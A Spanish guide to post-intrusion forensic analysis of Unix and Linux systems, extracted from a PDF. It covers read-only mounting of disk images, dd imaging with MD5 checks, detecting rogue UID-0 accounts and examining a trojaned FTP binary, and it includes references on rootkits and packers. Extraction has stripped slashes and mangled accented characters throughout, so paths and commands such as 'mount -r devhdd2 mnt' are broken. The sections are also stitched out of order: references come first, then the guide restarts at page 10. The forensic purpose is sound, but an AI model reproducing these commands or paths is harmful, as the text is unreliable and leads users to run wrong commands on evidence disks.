Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 10: Análisis Forense de Sistemas GNU/Linux, Unix

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 